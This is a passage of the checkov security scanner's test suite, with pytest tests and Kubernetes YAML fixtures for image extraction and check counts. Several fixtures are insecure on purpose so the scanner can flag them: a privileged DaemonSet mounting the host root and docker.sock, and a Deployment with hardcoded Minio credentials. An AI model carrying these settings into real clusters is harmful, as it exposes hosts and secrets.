graph_framework}):\n        provider = KubernetesProvider(graph_connector=graph)\n        images = provider.extract_images_from_resources()\n\n    # then\n    assert len(images) == 2\n    nginx_image = Image(\n            file_path=\"/pod.yaml\",\n            name=\"nginx\",\n            start_line=1,\n            end_line=16,\n            related_resource_id=\"/pod.yaml:None\",\n        )\n    busybox_image = Image(file_path=\"/pod.yaml\", name=\"busybox\", start_line=1, end_line=16,\n                          related_resource_id=\"/pod.yaml:None\")\n    assert nginx_image in images\n    assert busybox_image in images\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources_with_no_image(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/pod.yaml\",\n        \"__endline__\": 16,\n        \"__startline__\": 1,\n        \"spec\": {\n            \"containers\": [\n                {\n                    \"name\": \"test-container\",\n                },\n            ],\n        },\n        \"resource_type\": \"Pod\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        provider = KubernetesProvider(graph_connector=graph)\n        images = provider.extract_images_from_resources()\n\n    # then\n    assert not images\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/cron_job.yaml",
    "content": "apiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: hello\nspec:\n  schedule: \"* * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n          - name: hello\n            image: busybox:1.28\n            imagePullPolicy: IfNotPresent\n            command:\n            - /bin/sh\n            - -c\n            - date; echo Hello from the Kubernetes cluster\n          restartPolicy: OnFailure\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/daemon_set.yaml",
    "content": "apiVersion: extensions/v1beta1\nkind: DaemonSet\nmetadata:\n  name: newrelic-infra-agent\n  labels:\n    tier: monitoring\n    app: newrelic-infra-agent\n    version: v1\nspec:\n  template:\n    metadata:\n      labels:\n        name: newrelic\n    spec:\n      # Filter to specific nodes:\n      # nodeSelector:\n      #  app: newrelic\n      hostPID: true\n      hostIPC: true\n      hostNetwork: true\n      containers:\n        - resources:\n            requests:\n              cpu: 0.15\n          securityContext:\n            privileged: true\n          image: newrelic/infrastructure\n          name: newrelic\n          command: [ \"bash\", \"-c\", \"source /etc/kube-nr-infra/config && /usr/bin/newrelic-infra\" ]\n          volumeMounts:\n            - name: newrelic-config\n              mountPath: /etc/kube-nr-infra\n              readOnly: true\n            - name: dev\n              mountPath: /dev\n            - name: run\n              mountPath: /var/run/docker.sock\n            - name: log\n              mountPath: /var/log\n            - name: host-root\n              mountPath: /host\n              readOnly: true\n      volumes:\n        - name: newrelic-config\n          secret:\n            secretName: newrelic-config\n        - name: dev\n          hostPath:\n              path: /dev\n        - name: run\n          hostPath:\n              path: /var/run/docker.sock\n        - name: log\n          hostPath:\n              path: /var/log\n        - name: host-root\n          hostPath:\n              path: /\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/deployment.yaml",
    "content": "apiVersion: apps/v1 #  for k8s versions before 1.9.0 use apps/v1beta2  and before 1.8.0 use extensions/v1beta1\nkind: Deployment\nmetadata:\n  # This name uniquely identifies the Deployment\n  name: minio-deployment\nspec:\n  selector:\n    matchLabels:\n      app: minio\n  strategy:\n    type: Recreate\n  template:\n    metadata:\n      labels:\n        # Label is used as selector in the service.\n        app: minio\n    spec:\n      # Refer to the PVC created earlier\n      volumes:\n      - name: storage\n        persistentVolumeClaim:\n          # Name of the PVC created earlier\n          claimName: minio-pv-claim\n      containers:\n      - name: minio\n        # Pulls the default Minio image from Docker Hub\n        image: minio/minio:latest\n        args:\n        - server\n        - /storage\n        env:\n        # Minio access key and secret key\n        - name: MINIO_ACCESS_KEY\n          value: \"minio\"\n        - name: MINIO_SECRET_KEY\n          value: \"minio123\"\n        ports:\n        - containerPort: 9000\n          hostPort: 9000\n        # Mount the volume into the pod\n        volumeMounts:\n        - name: storage # must match the volume name, above\n          mountPath: \"/storage\"\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/deployment_config.yaml",
    "content": "apiVersion: v1\nkind: DeploymentConfig\nmetadata:\n  name: rhel-tools\nspec:\n  replicas: 1\n  strategy:\n    type: Recreate\n  template:\n    metadata:\n      labels:\n        deploymentconfig: rhel-tools\n    spec:\n      serviceAccountName: hostaccess\n      containers:\n        - name: rhel-tools\n          image: rhel7/rhel-tools\n          command: [ \"/bin/sh\", \"-c\", \"while true ; do date; sleep 1; done;\" ]\n          volumeMounts:\n            - name: host\n              mountPath: /host\n      volumes:\n        - name: host\n          hostPath:\n            path: /\n  triggers:\n  - type: ConfigChange\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/job.yaml",
    "content": "apiVersion: batch/v1\nkind: Job\nmetadata:\n  name: pi\nspec:\n  template:\n    spec:\n      containers:\n      - name: pi\n        image: perl:5.34.0\n        command: [\"perl\",  \"-Mbignum=bpi\", \"-wle\", \"print bpi(2000)\"]\n      restartPolicy: Never\n  backoffLimit: 4\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/pod.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: webserver\n  labels:\n    app2: webserver\nspec:\n  serviceAccountName: over-privileged-sa2\n  containers:\n  - name: webserver\n    image: nginx:latest\n    ports:\n    - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/pod_template.yaml",
    "content": "apiVersion: v1\nkind: PodTemplate\nmetadata:\n  name: pod-test\n  namespace: default\ntemplate:\n  metadata:\n    name: pod-template\n  spec:\n    containers:\n    - name: container\n      image: alpine\n      command: [\"/bin/sh\"]\n      args: [\"-c\", \"sleep 100\"]"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/replica_set.yaml",
    "content": "apiVersion: apps/v1\nkind: ReplicaSet\nmetadata:\n  name: frontend\n  labels:\n    app: guestbook\n    tier: frontend\nspec:\n  # modify replicas according to your case\n  replicas: 3\n  selector:\n    matchLabels:\n      tier: frontend\n  template:\n    metadata:\n      labels:\n        tier: frontend\n    spec:\n      containers:\n      - name: php-redis\n        image: gcr.io/google_samples/gb-frontend:v3\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/replication_controller.yaml",
    "content": "apiVersion: v1\nkind: ReplicationController\nmetadata:\n  name: es\n  labels:\n    component: elasticsearch\nspec:\n  replicas: 1\n  template:\n    metadata:\n      labels:\n        component: elasticsearch\n    spec:\n      serviceAccount: elasticsearch\n      initContainers:\n      - name: init-sysctl\n        image: busybox\n        imagePullPolicy: IfNotPresent\n        command: [\"sysctl\", \"-w\", \"vm.max_map_count=262144\"]\n        securityContext:\n          privileged: true\n      containers:\n      - name: es\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n        image: quay.io/pires/docker-elasticsearch-kubernetes:5.6.2\n        env:\n        - name: KUBERNETES_CA_CERTIFICATE_FILE\n          value: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\n        - name: NAMESPACE\n          valueFrom:\n            fieldRef:\n              fieldPath: metadata.namespace\n        - name: \"CLUSTER_NAME\"\n          value: \"myesdb\"\n        - name: \"DISCOVERY_SERVICE\"\n          value: \"elasticsearch\"\n        - name: NODE_MASTER\n          value: \"true\"\n        - name: NODE_DATA\n          value: \"true\"\n        - name: HTTP_ENABLE\n          value: \"true\"\n        ports:\n        - containerPort: 9200\n          name: http\n          protocol: TCP\n        - containerPort: 9300\n          name: transport\n          protocol: TCP\n        volumeMounts:\n        - mountPath: /data\n          name: storage\n      volumes:\n      - name: storage\n        emptyDir: {}\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/resources/k8s/stateful_set.yaml",
    "content": "apiVersion: apps/v1  #  for k8s versions before 1.9.0 use apps/v1beta2  and before 1.8.0 use extensions/v1beta1\nkind: StatefulSet\nmetadata:\n  name: cockroachdb\n  labels:\n    app: cockroachdb\nspec:\n  serviceName: \"cockroachdb\"\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cockroachdb\n  template:\n    metadata:\n      labels:\n        app: cockroachdb\n    spec:\n      # Init containers are run only once in the lifetime of a pod, before\n      # it's started up for the first time. It has to exit successfully\n      # before the pod's main containers are allowed to start.\n      # This particular init container does a DNS lookup for other pods in\n      # the set to help determine whether or not a cluster already exists.\n      # If any other pods exist, it creates a file in the cockroach-data\n      # directory to pass that information along to the primary container that\n      # has to decide what command-line flags to use when starting CockroachDB.\n      # This only matters when a pod's persistent volume is empty - if it has\n      # data from a previous execution, that data will always be used.\n      #\n      # If your Kubernetes cluster uses a custom DNS domain, you will have\n      # to add an additional arg to this pod: \"-domain=<your-custom-domain>\"\n      initContainers:\n      - name: bootstrap\n        image: cockroachdb/cockroach-k8s-init:0.2\n        imagePullPolicy: IfNotPresent\n        args:\n        - \"-on-start=/on-start.sh\"\n        - \"-service=cockroachdb\"\n        env:\n        - name: POD_NAMESPACE\n          valueFrom:\n            fieldRef:\n              fieldPath: metadata.namespace\n        volumeMounts:\n        - name: datadir\n          mountPath: \"/cockroach/cockroach-data\"\n      affinity:\n        podAntiAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n          - weight: 100\n            podAffinityTerm:\n              labelSelector:\n                matchExpressions:\n                - key: app\n                  operator: In\n                  values:\n                  - cockroachdb\n              topologyKey: kubernetes.io/hostname\n      containers:\n      - name: cockroachdb\n        image: cockroachdb/cockroach:v1.1.0\n        imagePullPolicy: IfNotPresent\n        ports:\n        - containerPort: 26257\n          name: grpc\n        - containerPort: 8080\n          name: http\n        volumeMounts:\n        - name: datadir\n          mountPath: /cockroach/cockroach-data\n        command:\n          - \"/bin/bash\"\n          - \"-ecx\"\n          - |\n            # The use of qualified `hostname -f` is crucial:\n            # Other nodes aren't able to look up the unqualified hostname.\n            CRARGS=(\"start\" \"--logtostderr\" \"--insecure\" \"--host\" \"$(hostname -f)\" \"--http-host\" \"0.0.0.0\")\n            # We only want to initialize a new cluster (by omitting the join flag)\n            # if we're sure that we're the first node (i.e. index 0) and that\n            # there aren't any other nodes running as part of the cluster that\n            # this is supposed to be a part of (which indicates that a cluster\n            # already exists and we should make sure not to create a new one).\n            # It's fine to run without --join on a restart if there aren't any\n            # other nodes.\n            if [ ! \"$(hostname)\" == \"cockroachdb-0\" ] || \\\n               [ -e \"/cockroach/cockroach-data/cluster_exists_marker\" ]\n            then\n              # We don't join cockroachdb in order to avoid a node attempting\n              # to join itself, which currently doesn't work\n              # (https://github.com/cockroachdb/cockroach/issues/9625).\n              CRARGS+=(\"--join\" \"cockroachdb-public\")\n            fi\n            exec /cockroach/cockroach ${CRARGS[*]}\n      # No pre-stop hook is required, a SIGTERM plus some time is all that's\n      # needed for graceful shutdown of a node.\n      terminationGracePeriodSeconds: 60\n      volumes:\n      - name: datadir\n        persistentVolumeClaim:\n          claimName: datadir\n  volumeClaimTemplates:\n  - metadata:\n      name: datadir\n    spec:\n      accessModes:\n        - \"ReadWriteOnce\"\n      resources:\n        requests:\n          storage: 1Gi\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/test_manager.py",
    "content": "from unittest import mock\n\nimport pytest\nfrom checkov.kubernetes.image_referencer.manager import KubernetesImageReferencerManager\nfrom checkov.common.images.image_referencer import Image\nfrom tests.graph_utils.utils import set_graph_by_graph_framework, GRAPH_FRAMEWORKS, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/pod.yaml\",\n        \"__endline__\": 16,\n        \"__startline__\": 1,\n        \"spec\": {\n            \"containers\": [\n                {\n                    \"name\": \"test-container\",\n                    \"image\": \"nginx\",\n                },\n            ],\n        },\n        \"resource_type\": \"Pod\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        images = KubernetesImageReferencerManager(graph_connector=graph).extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path=\"/pod.yaml\",\n            name=\"nginx\",\n            start_line=1,\n            end_line=16,\n            related_resource_id=\"/pod.yaml:None\",\n        ),\n    ]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_no_duplications_while_extracting_image_names(graph_framework):\n    resource = {\n        \"file_path_\": \"/pod.yaml\",\n        \"__endline__\": 16,\n        \"__startline__\": 1,\n        \"spec\": {\n            \"initContainers\": [\n                {\n                    \"name\": \"test-container\",\n                    \"image\": \"nginx\",\n                },\n            ],\n            \"containers\": [\n                {\n                    \"name\": \"test-container\",\n                    \"image\": \"nginx\",\n                },\n            ],\n        },\n        \"resource_type\": \"Pod\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph, 1, 'duplicated_image')\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        manager = KubernetesImageReferencerManager(graph_connector=graph)\n        images = manager.extract_images_from_resources()\n    assert len(images) == 1\n    image = images[0]\n    assert image.name == 'nginx'\n"
  },
  {
    "path": "tests/kubernetes/image_referencer/test_runner_k8s_resources.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.kubernetes.runner import Runner\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/k8s\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_pod_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"pod.yaml\"\n    image_name = \"nginx:latest\"\n    code_lines = \"1-14\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 1\n    assert len(k8s_report.passed_checks) == 69\n    assert len(k8s_report.failed_checks) == 20\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert sca_image_report.image_cached_results[0][\"dockerImageName\"] == \"nginx:latest\"\n    assert (\n        \"kubernetes/image_referencer/resources/k8s/pod.yaml:Pod.default.webserver\"\n        in sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.image_cached_results) == 1\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_cron_job_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"cron_job.yaml\"\n    image_name = \"busybox:1.28\"\n    code_lines = \"1-20\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 1\n    assert len(k8s_report.passed_checks) == 69\n    assert len(k8s_report.failed_checks) == 17\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_daemon_set_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"daemon_set.yaml\"\n    image_name = \"newrelic/infrastructure\"\n    code_lines = \"11-59\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 2\n    assert len(k8s_report.passed_checks) == 66\n    assert len(k8s_report.failed_checks) == 23\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_deployment_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"deployment.yaml\"\n    image_name = \"minio/minio:latest\"\n    code_lines = \"13-44\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 2\n    assert len(k8s_report.passed_checks) == 68\n    assert len(k8s_report.failed_checks) == 21\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_deployment_config_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"deployment_config.yaml\"\n    image_name = \"rhel7/rhel-tools\"\n    code_lines = \"10-26\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 2\n    assert len(k8s_report.passed_checks) == 65\n    assert len(k8s_report.failed_checks) == 14\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_job_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"job.yaml\"\n    image_name = \"perl:5.34.0\"\n    code_lines = \"1-14\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 1\n    assert len(k8s_report.passed_checks) == 69\n    assert len(k8s_report.failed_checks) == 17\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_pod_template_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"pod_template.yaml\"\n    image_name = \"alpine\"\n    code_lines = \"1-14\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 1\n    assert len(k8s_report.passed_checks) == 65\n    assert len(k8s_report.failed_checks) == 13\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_replica_set_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"replica_set.yaml\"\n    image_name = \"gcr.io/google_samples/gb-frontend:v3\"\n    code_lines = \"15-22\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(k8s_report.resources) == 2\n    assert len(k8s_report.passed_checks) == 69\n    assert len(k8s_report.failed_checks) == 20\n    assert len(k8s_report.skipped_checks) == 0\n    assert len(k8s_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_replication_controller_resources(mocker: MockerFixture, graph_framework):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"replication_controller.yaml\"\n    image_name_1 = \"busybox\"\n    image_name_2 = \"quay.io/pires/docker-elasticsearch-kubernetes:5.6.2\"\n    code_lines_1 = \"10-59\"\n    code_lines_2 = \"10-59\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES)\n    sca_image_report = next(report for report in reports if report.check_type == 